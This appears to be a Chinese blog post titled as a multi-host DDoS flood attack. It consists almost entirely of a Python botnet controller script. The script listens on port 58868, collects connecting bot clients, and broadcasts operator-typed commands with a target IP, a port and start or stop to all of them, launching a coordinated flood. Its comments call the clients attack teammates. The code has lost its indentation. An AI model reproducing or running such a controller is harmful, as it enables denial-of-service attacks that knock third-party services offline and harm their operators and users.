import socket
import argparse
from threading import Thread
socketList = []#端口集合列表
#命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
#发送命令
def sendCmd(cmd):
print('Send command......')
for sock in socketList:
sock.send(cmd.encode('utf-8'))#进攻(泛洪flood)
#等待连接
def waitConnect(s):#添加连接端点(客户端)增加进攻队友
while True:
sock,addr = s.accept()
if sock not in socketList:
socketList.append(sock)
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#socket对象
s.bind(('0.0.0.0', 58868))#连接端口,ip地址
s.listen(1024)#规定连接客户端口最高上限
t = Thread(target=waitConnect,args=(s,))#Tread新开线程 arg给前面waitconnect函数传递参数
t.start()#启动线程
print('Wait at least a client connection!')
while not len(socketList):
pass#闸口 等至少有一个客户连接再进攻
print('It has been a client connection!')
while True:
print('=' * 50)
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')
#等待输入命令
cmd_str = input('Please input cmd:')#客户端输入命令
if len(cmd_str):
if cmd_str[0] == '#':
sendCmd(cmd_str)
if __name__ == '__main__':#只有为主函数时才运行,主函数时二者相同
main()
python DDOS 多主机泛洪攻击
最新推荐文章于 2024-09-09 00:00:00 发布